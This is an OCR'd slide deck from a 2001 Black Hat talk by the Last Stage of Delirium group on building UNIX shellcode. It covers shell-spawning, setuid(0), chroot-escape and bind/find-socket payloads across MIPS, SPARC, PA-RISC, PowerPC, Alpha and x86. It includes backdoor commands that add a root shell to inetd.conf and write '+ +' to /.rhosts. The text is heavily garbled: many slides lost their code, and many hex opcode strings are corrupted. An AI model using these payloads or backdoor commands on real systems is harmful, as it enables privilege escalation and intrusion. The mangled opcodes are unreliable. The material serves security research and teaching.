# **LSD-PLaNET**

# **UNIX Assembly Codes Development for Vulnerabilities Illustration Purposes**

**Black Hat Briefings 2001, Las Vegas July 11-12th**



**Last Stage of Delirium Research Group**

**http://LSD-PL.NET contact@lsd-pl.net**

# **LSD-PLaNET**

#### **About Last Stage of Delirium Research Group**

- **The non-profit organization, established in 1996,**
- name abbreviation accidental,
- four official members,
- all graduates (M.Sc.) of Computer Science from the Poznań University of Technology, Poland
- for the last six years we have been working as Security Team of Poznań Supercomputing and Networking Center.

# **LSD-PLaNET**

# **Our fields of activity**

- Continuous search for new vulnerabilities as well as general attack techniques,
- analysis of available security solutions and general defense methodologies,
- development of various tools for reverse engineering and penetration tests,
- experiments with distributed host-based Intrusion Detection Systems,
- other security related stuff.

# **LSD-PLaNET**

#### **Presentation overview**

- Introduction: what is the subject of this presentation?
- **EXECUTE:** Functionality of assembly components.
- **Specifics of various processors architectures.**
- System call invocation interfaces.
- Requirements for assembly components.
- **Samples and case studies.**
- **Summary and final remarks.**

# **LSD-PLaNET**

# **Motivations (1)**

- Practical security is based both on knowledge about protection as well as about threats.
- **If one wants to attack a computer system, he needs** knowledge about its protection mechanisms and their possible limitations.
- **If one wants to defend his system, he should be** aware of attack techniques, their real capabilities and their possible impact.

# **LSD-PLaNET**

# **Motivations (2)**

- **The security mechanisms are widely spoken and** usually well documented (except for their practical limitations).
- The technical details of attack techniques and real threats they represent are still not documented.
- There is a significant need for research in this area and specially for making the results available for all interested parties.
- Why?

# **LSD-PLaNET**

# **Motivations (3)**

- **Because in fact such research has been continuously** conducted by various entities for years, but with slightly different purposes in mind.
- "The only good is knowledge and the only evil is ignorance " Socrates (B.C. 469-399)



#### **What is it all about?**

- A piece of assembly code, which is used as a part of proof of concept code, illustrating a specific vulnerability.
- The need to use low-level assembly routines appeared with buffer overflows exploitation techniques.
- **These codes have evaluated both in the sense of** available functionality as well as their complexity.
- Actually, they might be considered as a crucial element of proof of concept codes.

# **LSD-PLaNET**

### **Introduction**

- Code that is mainly destined to perform *active attacks.*
- Can be used in proof of concept codes for low level class of security vulnerabilities - the ones that allow for the redirection of a program execution by means of a PC register modification.
- Copy/paste code that can be used for local as well as remote vulnerabilities.
- **-** Through proper code blocks combination required functionality can be achieved.

# **LSD-PLaNET**

# **The functionality taxonomy**

- **Shell execution (shellcode)**
- **Single command execution (cmdshellcode)**
- **•** Privileges restoration  $($ set ${uid, euid, reuid, result}$ code $)$
- Chroot limited environment escape (chrootcode)
- **Network server code (bindsckcode)**
- **Find socket code (findsckcode)**
- Stack pointer retrieval  $(jump)$
- $\blacksquare$  No-operation instruction (nop)



# **Shell execution (shellcode)**

 $\blacksquare$  execl("/bin/sh","/bin/sh",0);

# **Single command execution (cmdshellcode)**

execl("/bin/sh","/bin/sh","-c",*cmd*,0);

Assembly code routines usually end up with a single command or interactive shell execution.



# **Privileges restoration (1) (set{uid,euid,reuid,resuid}code)**

Privileges restoration routines restore a given process' root user privileges whenever they are possessed by it but are temporarily unavailable because of some security reasons.

Privileges can always be restored unless they are completely dropped by a vulnerable program.



**Privileges restoration (2)**

**setuidcode** (Solaris, SCO, Linux, \*BSD): setuid(0); **seteuidcode** (AIX): seteuid(0); **setreuidcode** (IRIX): setreuid(getuid(), 0); **setreuidcode** (ULTRIX): setreuid(0,0); **setresuidcode** (HP-UX): setresuid(0,0,0);



# **Privileges restoration (3)**

Any additional privileges control mechanism, providing the functionality of temporal and selective enabling/disabling of privileges can be often bypassed when confronted with a buffer overflow or format string attack techniques.

In case of capabilities mechanism defined in Posix 1e there exists a possibility to write the assembly code which adds selected privileges to a given process' effective privilege set.



# **Chroot limited environment escape (chrootcode)**

mkdir("a..",mode); chroot("a.."); for(i=257;i--;i>0) chdir(".."); chroot(".");

Vulnerable services running with  $\{e\}$ uid=0 are not protected by a classic chroot() mechanism (FTPD). This is a security myth.



#### **Chrootcode: How does it work?**





# **Classical way of exploiting remote bugs (1) (cmdshellcode)**



Copyright © Last Stage of Delirium Research Group 17 % 17 %

# **LSD-PLaNET**

# **Classical way of exploiting remote bugs (2)**

Disadvantages of cmdshellcode:

- only one or limited number of executed commands,
- no user interaction,
- no output (0, 1, 2 descriptors usually not available),
- command buffer size limitation.

```
echo "cvc stream tcp nowait root /bin/sh sh -i"
>> /etc/inetd.conf
```

```
echo "+ +" /.rhosts
```


#### **Network server code (bindsckcode)**





# **Network server code (2)**

Disadvantages of bindsckcode:

- requires additional information about ports available for use in a bind() call,
- server code might not be reached due to a firewall or intrusion prevention system,
- connection to a suspicious port leaves another trace in a log (and can be noticed by an IDS).

#### **LSD-PLaNET**

#### **Find socket code (findsckcode)**



Copyright © Last Stage of Delirium Research Group 21 %



#### **Find socket code: client side**

The connection's source port number must be obtained and inserted into the findsckcode routine before sending it to a vulnerable server.

```
if(getsockname(sck,(struct sockaddr*)&adr,&i)==-1){
    struct netbuf {unsigned int maxlen, len; char *buf; };
    struct netbuf nb;
    ioctl(sck,(('S'<<8)|2),"sockmod");
    nb.maxlen=0xffff;
    nb.len=sizeof(struct sockaddr in);;
    nb.buf=(char*)&adr;
    ioctl(sck,(('T'<<8)|144),&nb);
}
n=ntohs(adr.sin_port);
```


#### **Find socket code: client side (2)**

This code is especially useful for exploiting vulnerabilities in RPC services (ttdbserverd, cmsd, snmpXdmid)

```
sck=RPC_ANYSOCK;
if(!(cl=clnttcp create(&adr, PROG, VERS, &sck, 0, 0))){
    clnt pcreateerror("error");exit(-1);
}
```
#### and services available on hosts protected by a firewall mechanism (BIND TSIG overflow).



# **Stack pointer retrieval (jump)**

int sp=(\*(int(\*)())*jump*)();

On AIX due to different linkage convention the following code must be used instead:

- int buf[2]={(int)&*jump*,\*((int\*)&*main*+1)};
- int  $sp=(*(int(*))())$ buf)();

# **No-operation instruction (nop)**

 Usually the processor default instruction is not used for that purpose (contains 0).

#### **LSD-PLaNET**

# **CISC (Complex Instruction Set Computer)**

- Complex instruction set specialized instructions, register specialization, many addressing modes, built-in support for high level languages,
- different instruction format, encoding length, execution time,
- dedicated stack operation instructions (classic push/pop),
- x86 family of microprocessors (Linux, \*BSD, Solaris, SCO Openserver, SCO Unixware, BeOS).



# **RISC (Reduced Instruction Set Computer)**

- Designed with simplicity in mind; uniform instruction format, same length (usually 32 bits) and execution time.
- **Large number of general purpose registers; no** registers specialization.
- Load-store machines; focus on parallel execution.
- No real stack just simulation.
- MIPS (IRIX, Linux), SPARC (Solaris), PA-RISC (HP-UX), POWER/PowerPC (AIX), Alpha (Ultrix).

# **LSD-PLaNET**

# **Common features (CISC and RISC)**

- Separate L1 instruction/data caches, L2 caches,
- parallel execution superscalar architecture with multiple pipelines,
- separate execution units (integer arithmetic, FPU, branch, memory management),
- advanced branch prediction and out-of-order execution mechanisms,
- support for operation in multiprocessor environment.

# **LSD-PLaNET**

# **MIPS microprocessors family**

- R4000-R12000 family of microprocessors,
- I little or big endian mode of operation,
- 32/64 bit mode of operation,
- 32 general purpose 64-bits wide registers
- 32 floating point registers (ANSI/IEEE-754),
- three major instruction formats (immediate, branch and register operations),
- **Example 13 regist in Structions are of uniform length of 32 bits,**
- **aligned memory accesses.**

# **LSD-PLANET**

# **MIPS ABI (Abstract Binary Interface)**

#### Register specialization:

**r0 (zero)** - always contains the value of 0, **r29 (sp)** - stack pointer (stack grows downwards), **r31 (ra)** - subroutine return address **r28 (gp)** - global pointer **r4-r7 (a0-a3)** - first 4 arguments (integers or pointers) to subroutine/system calls, **r8-r15 (t0-t7)** - temporary registers, **r16-r23 (s0-s7)** - temporary registers (saved), **r2 (v0)** - system call number/return value from syscall.

# **LSD-PLaNET**

# **SPARC microprocessors family**

- V8 (Sparc, SuperSparc) family consists of 32 bit models,
- the V9 (Ultra Sparc I,II,III) family consists of 64 bit models,
- little or big endian mode of operation,
- unique usage of a register windows mechanism a large set of general purpose registers (64-528),
- dedicated call/ret mechanism for subroutine calls,
- three major instruction formats (immediate, branch and register operations),
- **EXEDENT IN SET UP 11 Instructions are of uniform length of 32 bits,**
- **aligned memory accesses.**

# **LSD-PLaNET**

# **SPARC ABI**

#### Register specialisation:



- 
- **O7 (r15)** return address (stored by a call instruction),
- 
- **o0-o5 (r8-r12)** input arguments to the next subroutine to be called (after execution of the save instruction they will be in registers  $i0-i5$ ),
- $\textbf{i6}$  stack pointer (after save  $\textbf{i}6-\textbf{i}6$ ),
- **o6** frame pointer,
- program counter,
- **npc** next instruction.

# **LSD-PLANET**

# **PA-RISC microprocessors family**

- The 7xxx family consists of 32 bit models,
- 8xxx family consists of 64 bit models,
- **I** little or big endian mode of operation,
- 32 general purpose registers, 32 floating point registers,
- fairly big and complex instruction set, two-in-one instructions,
- no dedicated call/ret mechanism inter-segment jump calls instead,
- **EXEDENT IN SET UP 11 Instructions are of uniform length of 32 bits,**
- aligned memory accesses,
- **stack grows with memory addresses.**

# **LSD-PLaNET**

# **PA-RISC ABI**

#### Register specialization:

- **gr0** zero value register,
- **gr2 (rp)** return pointer register contains the return address from subroutine,
- **gr19** shared library linkage register,

**gr23-gr26 (arg3–arg0)** - argument registers to subroutine/system calls,

**gr27 (dp)** - data pointer register,

**gr28-29 (ret0-ret1)** - they contain return values from subroutine calls,

**gr30 (sp)** - stack pointer,

**pcoqh** - program counter (pc),

**pcoqt** - it contains the next mnemonic address (it is not necessarily linear).

# **LSD-PLaNET**

# **PowerPC/POWER microprocessors family**

- 6xx family microprocessors (601, 603, 603e and 604) are 32 bit implementations, 620 model is a 64 bit one,
- **I** little or big endian mode of operation,
- 32 general purpose registers, 32 floating point registers,
- special registers, like LR, CTR, XER and CR,
- **fairly** "*complex*" addressing modes (immediate, register indirect, register indirect with index),
- specialized instructions (integer rotate/shift instructions, integer load and store string/multiple instructions),
- **EXEDENT IN SET UP 11 Instructions are of uniform length of 32 bits,**
- not necessarily aligned memory accesses.

# **LSD-PLaNET**

# **PowerPC ABI (1)**

#### Register specialization:

- **r0** used in function prologs, as an operand of some instructions it can indicate the value of zero,
- **r1 (stkp)** stack pointer,
- **r2 (toc)** table of contents (toc) pointer denotes the program execution context.

**r3-r10 (arg0-arg8)** - first 8 arguments to function/system calls,

- **r11** it is used in calls by pointer and as an environment pointer for some languages,
- **r12** it is used in exception handling and in glink (*dynamic linker*) code.

# **LSD-PLANET**

# **PowerPC ABI (2)**

#### Special registers:

- **lr (link)** it is used as a branch target address or holds a subroutine return address,
- **ctr** it is used as a loop count or as a target of some branch calls,
- **xer** fixed-point exception register indicates overflows or carries for integer operations,
- **fpscr** floating-point exception register,
- msr machine status register, used for configuring microprocessor settings,
- **cr** condition register, divided into eight 4 bit fields, cr0-cr7.
#### **Processor architectures**

#### **LSD-PLaNET**

#### **Alpha microprocessors family**

#### Register specialization:





#### **Introduction (1)**

The only way a user application can call the operating system services is through the concept of a system call instruction. Different computer architectures have different system call instructions, but they are all common in operation: upon their execution the microprocessor switches the operating mode from user to supervisor equivalent and passes execution to the appropriate kernel system call handling routine.



#### **System call invocation (IRIX/MIPS)**

- **Syscall special instruction**
- register  $v0$  denotes system call number
- registers  $a0-a3$  filled with arguments

#### **LSD-PLaNET**

#### **System call invocation (IRIX/MIPS)**





## **System call invocation (Solaris/SPARC)**

- $\blacksquare$  ta 8 trap instruction
- register  $q1$  denotes system call number
- registers  $\circ$  0  $\circ$  4 filled with arguments

#### **LSD-PLaNET**

#### **System call invocation (Solaris/SPARC)**





## **System call invocation (HP-UX/PA-RISC)**

**EX inter-segment jump call instruction** 



- register  $r22$  denotes system call number
- registers  $r26-r23$  filled with arguments

#### **LSD-PLaNET**

#### **System call invocation (HP-UX/PA-RISC)**





## **System call invocation (AIX/PowerPC)**

- Crorc cr6, cr6, cr6 and svca special instruction
- register  $r2$  denotes system call number
- registers  $r3-r10$  filled with arguments
- **If the register filled with the return from** syscall address

**LSD-PLaNET** 

#### **System call invocation (AIX/PowerPC)**



Copyright © Last Stage of Delirium Research Group 46 % 46 %



#### **System call invocation (Ultrix/Alpha)**

- call pal special instruction
- register  $v0$  denotes system call number
- registers  $a0-a5$  filled with arguments



#### **System call invocation (Ultrix/Alpha)**





## **System call invocation (Solaris/SCO/x86)**

- lcall \$0x7,\$0x0 far call instruction
- register  $eax$  denotes system call number
- **Example 1** arguments are passed through stack in reverse order – the first system call argument is pushed as the last value
- one additional value pushed on the stack just before issuing the  $lcal$ 11 instruction

#### **LSD-PLaNET**

#### **System call invocation (Solaris/SCO/x86)**



Copyright © Last Stage of Delirium Research Group 50 %



## **System call invocation (\*BSD/x86)**

- $\blacksquare$  lcall  $$0x7, $0x0$  far call instruction or int 0x80 software interrupt
- register  $eax$  denotes system call number
- arguments are passed through stack in reverse order – the first system call argument is pushed as the last value
- one additional value pushed on the stack just before issuing the lcall instruction

#### **LSD-PLaNET**

#### **System call invocation (\*BSD/x86)**





#### **System call invocation (Linux/x86)**

- $\blacksquare$  int  $0x80$  software interrupt instruction
- register  $eax$  denotes system call number
- registers  $\epsilon$ bx,  $\epsilon$ cx, edx are filled with system call arguments

#### **LSD-PLaNET**

#### **System call invocation (Linux/x86)**





#### **System call invocation (Beos/x86)**

- $\blacksquare$  int  $0x25$  software interrupt instruction
- register  $eax$  denotes system call number
- arguments are passed through stack in reverse order – the first system call argument is pushed as the last value
- two additional values pushed on the stack: a dummy library return address and a value indicating the number of arguments passed to the system call routine



#### **System call invocation (Beos/x86)**





## **Position Independent Code (PIC)**

- Code execution usually starts at unknown memory location difficulties when accessing the code's own data.
- **PIC** is able to locate itself in memory.
- **PIC code is usually shorter and free from any constraints** imposed on the knowledge or even validity of the initial register values, that are used for proper reconstruction of a given code's data.
- PIC can start executing at whatever valid memory address (stack and heap overflows).
- The rule use whatever mechanism available to obtain current value of a PC register (subroutine calls, branches, special instructions).

## **Position independence**



#### **MIPS microprocessors**

Branch less than zero and link instruction:

#### label: bltzal \$zero,<label>

As a result, the address of memory location  $\langle$  Label+8> is stored in register  $ra$ .



#### **SPARC microprocessors**

Branch never and annulate next+call instruction:



As a result, the address of memory location  $\langle$ label+12> is stored in register  $\circ$ 7.

On SPARC > V8+ it can be done with one instruction:

rd %pc,%o7

**Position independence** 

**LSD-PLaNET** 

#### **PA-RISC microprocessors**

Branch and link instruction:

label: bl .+4,reg

As a result, the address of memory location  $\langle$  label+4> is stored in register  $\text{reg.}$ 



#### **POWER/PowerPC microprocessors**

Branch if not equal and link instruction:



As a result, the address of memory location  $\langle$  Label+8> is stored in register reg2.

#### **LSD-PLaNET**

#### **Alpha microprocessors**

Building ret zero,  $(ra)$ , 1 instruction on the stack and jumping through it:



As a result, the address of memory location  $\langle \text{jump+4}\rangle$ is stored in register  $\text{reg2}.$ 

**Position independence** 



#### **Intel x86 microprocessors (1)**

Call and pop instruction sequence:



As a result, the address of memory location  $\langle$  label+5> is stored in register  $\text{reg.}$ 

or



#### **Intel x86 microprocessors (2)**

Push and esp addressing instruction sequence:





## **Register specific operations (MIPS)**

Loading 16 bit constants into registers:  $''\x24\xx02\xx03\xxf3"$  li  $$v0,1011$ 

Loading 8 bit constants into registers:



#### Zero free move from  $v_0$  to a  $0:$

 $''\x30\x44\xff\xff''$  andi \$a0,\$v0,0xffff



## **Register specific operations (SPARC)**

Loading 8 bit constants into registers:

 $''\x82\x10\x20\x0b"$  mov  $0x0b$ ,  $q1$ 

Obtaining zero value in register  $\circ 0$ :

 $''\x90\x08\x20\tx01"$  and  $\frac{60}{1}$ ,  $\frac{600}{1}$ 



## **Register specific operations (PA-RISC)**

Obtaining zero value in register: "\x0b\x39\x02\x99" xor %r25,%r25,%r25

Loading 8 bit constants into registers:

 $"\xb4\xx0f\xx40\xx04"$  addi,<  $0x2$ ,  $r0$ ,  $r15$ 

Decrementing register values:  $"\ab \delta\xce\x07\xff"$  addi  $-0x1, %r14, %r14$ 



# **Register specific operations (POWER/PowerPC #1)**

Loading/storing values from special registers:  $"\x7e\xa8\x02\xa6"$  mflr r21  $''\x7e\x49\x1803\x46''$  mtctr r21

Loading 16 bit constants into registers:  $''\x3b\overline{x20}\x01\overline{x01}''$  lil r25,0x101

Loading 8 bit constants into registers:  $"\x3a\xc0\xa01\xff"$  lil r22,0x1ff  $"\x3b\xx76\xte\xx02"$  cal  $r27, -510(r22)$ 

Copyright © Last Stage of Delirium Research Group 68 % 68 %



# **Register specific operations (POWER/PowerPC #2)**

Decrementing register values:  $''\x37\x39\xff\xff''$  ai. r25,r25,-1

Zero free move between registers:  $"\x7e\x83\xa3\x78"$  mr r3,r20

Obtaining zero value in register:  $"\x7c\xa5\x2a\x79"$  xor. r5,r5,r5

Copyright © Last Stage of Delirium Research Group 69 %



## **Register specific operations (Alpha)**

#### Loading 32 bit constants into registers:

 $"\xfb\tx6b\tx7f\tx26"$  ldah a3,27643(zero)  $''\x01\x03\x03x73\x22''$  lda a3,-32767(a3)

#### Obtaining zero value in register:

 $''\x12\xa04\xff\xa7''$  bis zero,zero, a2

#### Zero free loading 8 bit value into v0:  $"\ab\x02\txbf\x122"$  lda a5,699(zero)  $''\x50\xtd\xt15\tx20"$  1da v0,-640(a5)

Copyright © Last Stage of Delirium Research Group 70 % **70 %** 70 %



## **Register specific operations (Intel x86)**

#### Convert double to quadword:

"\x99" cdql

#### Increment/decrement register value:



#### Obtaining zero value in register:

"\x33\xd2" xorl %edx,%edx

#### **Code details**

#### **LSD-PLaNET**

# **Preparing and addressing data in memory (MIPS)**

#### Storing register value or zero:

 $''\xaf\xe4\txfb\x24''$  sw \$a0,-1244(\$ra)  $"\xa3\xe0\xff\x0f"$  sb \$zero,-241(\$ra)

#### Loading halfword from memory:  $''\x97\xeb\xtf\xc2"$  lhu \$t3,-62(\$ra)

Copyright © Last Stage of Delirium Research Group 72 %
### **LSD-PLaNET**

# **Preparing and addressing data in memory (SPARC)**

#### Storing register value or zero:  $''\xc0\x22\x20\x08"$  st  $\frac{80}{1800+8}$  $''\xd0\xi22\xi20\xi10''$  st  $\&00,[\&00+16]$

#### Loading word from memory:

"\xe6\x03\xff\xd0" ld [%o7-48],%l3  $"\xe8\x13\xe0\x1804"$  1d [%07+4], %14

### **LSD-PLaNET**

# **Preparing and addressing data in memory (PA-RISC)**

Storing register value or zero:  $''\x0f\x0\x40\x12\x14''$  stbs  $\frac{6}{10}$ , 0xa( $\frac{6}{26}$ )  $''\x6b\x5a\x3f\x99"$  stw  $%r26,-0x34(8r26)$ 

# Loading halfword from memory:

 $''\x47\x2f\x02\x20''$  1dh 0x110(%r25), %r15

### **LSD-PLaNET**

# **Preparing and addressing data in memory (PowerPC)**

Storing register value or zero:  $\sqrt{2}$   $\frac{x}{f}\x10''$  st  $r3, -240(r31)$  $"\x98\xbf\xff\x0f"$  stb r5,-241(r31)

#### Loading effective address:  $"\x38\x9f\xff\x10"$  cal r4,-240(r31)  $"\x88\x5f\xff\x0f"$  lbz r2,-241(r31)

# Loading halfword from memory:

 $"\xa3\x78\xtf\xte"$  lhz r27,-2(r24)

Copyright © Last Stage of Delirium Research Group 75 %



# **Preparing and addressing data in memory (Alpha)**

Storing register value or zero:





# **Preparing and addressing data in memory (Intel x86)**



#### %esp register automatically points at data block filled by push instructions.

Copyright © Last Stage of Delirium Research Group 77 %



# **Preparing and addressing data in memory (Intel x86)**

Store string family instructions: "\xab" stosl %eax,%es:(%edi) Load effective address:  $''\x8d\x40\x808''$  leal 0x08(%eax), %eax  $''\x88\x42\x08"$  movb  $\&$ al,0x8( $\&$ edx)

Copyright © Last Stage of Delirium Research Group 78 %

}

### **LSD-PLaNET**

# **BIND (Introduction)**

We need to fill the  $\text{sockadr}$  in structure in order to create a listening socket:

```
struct sockaddr_in {
     uchar sin len = xxuchar sin family = 02 (AF INET)
     ushort sin port = port
     uint sin addr.s addr = 00 (INADDR ANY)
     ...
```
The value of sin len field is not important for AF INET domain sockets.

Copyright © Last Stage of Delirium Research Group 79 %

### **LSD-PLaNET**

# **BIND (MIPS)**

#### Filling the sockaddr in structure:

 $"\x30\xx02\xx12\xx34"$ 

"\x04\x10\xff\xff" bltzal \$zero,<bindsckcode+4>  $''\x24\x11\x01\xff"$  li \$s1,511  $"\xaf\xe0\xff\xf8"$  sw \$zero,-8(\$ra)

#### Passing it to bind() system call:  $''\x23\xe5\xff\xf4"$  addi \$a1,\$ra,-12

### **LSD-PLaNET**

# **BIND (SPARC)**

#### Filling the sockaddr in structure:



 $" \x0\x23\xe0\x08"$  st %g0, [%o7+8]

#### Passing it to bind() system call:  $''\x92\xx03\xe0\xx04"$  add  $\&07,4,801$

### **LSD-PLaNET**

# **BIND (PA-RISC)**

#### Filling the sockaddr in structure:

 $"\xb4\xi17\xi40\xi04"$  addi,<  $0x2$ ,  $r0$ ,  $r23$  $\sqrt{8r}$   $\frac{9}{x97}x40\times02$ " blr,n  $8r23$ ,  $8r12$ 

...

 $"$  $x61\x02\x23\x45"$ 

 $''\x0d\x0dx80\x12\x8a''$  stw  ${}_{0}8r0,0x5(8r12)$  $"\ab \&5\x8c\x40\x10"$  addi,<  $0x8$ ,  $r12$ ,  $r12$ 

Passing it to bind() system call:  $"\ab\5\x99\x40\x02"$  addi,<  $0x1$ ,  $r12$ ,  $r25$ 

### **LSD-PLaNET**

# **BIND (PowerPC)**



#### Passing it to bind() system call:  $"\x38\x98\xtf\xt8"$  cal  $r4, -8(r24)$

#### **LSD-PLaNET**

# **BIND (x86)**

#### Filling the sockaddr in structure:



#### Passing it to bind() system call:

"\x57" pushl %edi



### **CHROOT (Introduction)**

Heavy use of the "a.." ("t.." etc.) substrings:

```
mkdir("a..",mode)
chroot("a..")
chdir("..")
chroot(".")
```
Any value of mode is valid.

### **LSD-PLaNET**

# **CHROOT (MIPS)**



Only one instruction is needed to obtain the pointer to a given string.

### **LSD-PLaNET**

# **CHROOT (SPARC)**



### **LSD-PLaNET**

# **CHROOT (PA-RISC)**



### **LSD-PLaNET**

#### **Code details**

# **CHROOT (PowerPC)**



### **LSD-PLaNET**

# **CHROOT (Intel x86)**



Stack and esp register are used for data creation and pointer calculation.



# **Procedures and loops (MIPS)**



### **LSD-PLaNET**

# **Procedures and loops (SPARC)**

#### Loop:

 $''\xaa\x20\x3f\xe0''$  s  $''\x90\xx03\xe0\xx06"$  a  $''\x82\x10\x20\x0c''$  m  $''\xaa\x85\x7f\xff''$  a  $''\x91\xd0\x20\x08"$  t



#### Jump forward:

...  $''\xaa\xa03\xe0\x28''$  add  $\&07,40,$  $''\x81\xc5\x60\x08"$  jmp %15+8

Copyright © Last Stage of Delirium Research Group 60 and 100 a

#### **LSD-PLaNET**

# **Procedures and loops (PA-RISC #1)**

#### Loop:

 $"\ab4\xa0d\xa01\xfe"$  addi  $0xff, %r0, %r13$ <chrootcode+64>

#### ...

"\x88\x0d\x3f\xdd" combf, =  $\frac{1}{2}$ r13,  $\frac{1}{2}$ r0, <chrootcode+64>  $"\ab\5\xa\dx07\xtf" addi -0x1, *r13, *r13$ 

#### Jump forward:

 $"\x80\x1c\x20\x20" comb, = %ret0, %r0, *if*indsckcode+60$ 

### **LSD-PLaNET**

### **Procedures and loops (PA-RISC #2)**

#### Procedure body:



#### Procedure call:

"\xe8\x5f\x1f\xad" bl <chrootcode+4>,%rp  $"\xb4\xi16\xi71\xi10"$  addi, 0x88, %r0, %r22

# **LSD-PLaNET**

### **Procedures and loops (PowerPC #1)**

#### AIX syscall code:



Copyright © Last Stage of Delirium Research Group 95 %



### **Procedures and loops (PowerPC #2)**

#### Procedure call:

 $''\x7e\x49\x1803\x46''$  mtctr r21  $''\x4e\x80\x804\x20''$  bctr

#### Loop:



### **LSD-PLaNET**

### **Procedures and loops (Intel x86 #1)**

#### Solaris X86 syscall code:







### **Procedures and loops (Intel x86 #2)**



### **Summary**

# **LSD-PLaNET**

# **Conclusions (technical)**

- Writing effective and universal proof of concept codes is not such an easy task as it is often claimed.
- However, it is not *an impossible mission*, either.
- We can talk about a quality of such codes.
- Assembly routines are usually the essential components of such codes.
- **These routines evolve both in the sense of increased** complexity as well as extended functionality.

### Summary

# **LSD-PLaNET**

# **Conclusions (general)**

- **The actual research in the area of attack** methodologies is being conducted continuously.
- There are dozens of people capable to prepare an operational code for any discovered vulnerability.
- It should be assumed that the information about vulnerability is equal to an exploit code itself.
- The best proof for existence of the threat is an operating exploit code (the final argument).
- It is much better when such things are known.

**The end** 



# **Thank you for your attention**

**Last Stage of Delirium Research Group**

**http://lsd-pl.net**

# **contact@LSD-PL.NET**